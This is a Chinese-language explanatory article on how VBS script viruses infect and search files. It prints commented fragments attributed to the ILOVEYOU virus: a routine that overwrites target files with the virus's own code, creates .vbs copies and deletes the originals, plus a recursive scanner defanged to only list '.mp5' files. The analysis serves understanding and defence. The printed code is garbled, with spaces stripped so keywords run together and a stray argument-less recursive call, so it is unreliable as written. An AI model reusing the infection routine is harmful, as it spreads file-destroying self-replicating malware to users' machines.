如果你打开电脑发现在每个盘里都有vbs、autorun.exe、.vbe、js等文件。然后打开任务管理器,发现进程中有wscript.exe进程,而且机子运行得很慢。那么,你要注意了,你的电脑中了VBS病毒。那么,vbs脚本病毒如何搜索文件呢?

VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。

下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理:

以下是文件感染的部分关键代码:

Setfso=createobject("scripting.filesystemobject")'创建一个文件系统对象

setself=fso.opentextfile(wscript.scriptfullname,1)'读打开当前文件(即病毒本身)

vbscopy=self.readall  '读取病毒全部代码到字符串变量vbscopy……

setap=fso.opentextfile(目标文件.path,2,true)'写打开目标文件,准备写入病毒代码

ap.writevbscopy      '将病毒代码覆盖目标文件

ap.close

setcop=fso.getfile(目标文件.path)'得到目标文件路径

cop.copy(目标文件.path&".vbs") '创建另外一个病毒文件(以.vbs为后缀)

目标文件.delete(true)   '删除目标文件

上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。

下面我们具体分析一下文件搜索代码:

'该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本

subscan(folder_)  'scan函数定义,

onerrorresumenext  '如果出现错误,直接跳过,防止弹出错误窗口

setfolder_=fso.getfolder(folder_)

setfiles=folder_.files  '当前目录的所有文件集合

foreachfileinfilesext=fso.GetExtensionName(file)  '获取文件后缀

ext=lcase(ext)   '后缀名转换成小写字母

ifext="mp5"then  '如果后缀名是mp5,则进行感染。请自己建立相应后缀名的文件,最好是非正常后缀名,以免破坏正常程序。

Wscript.echo(file)

endif

next

setsubfolders=folder_.subfolders

foreachsubfolderinsubfolders  '搜索其他目录;递归调用

scan()

scan(subfolder)

next

endsub

上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan()函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。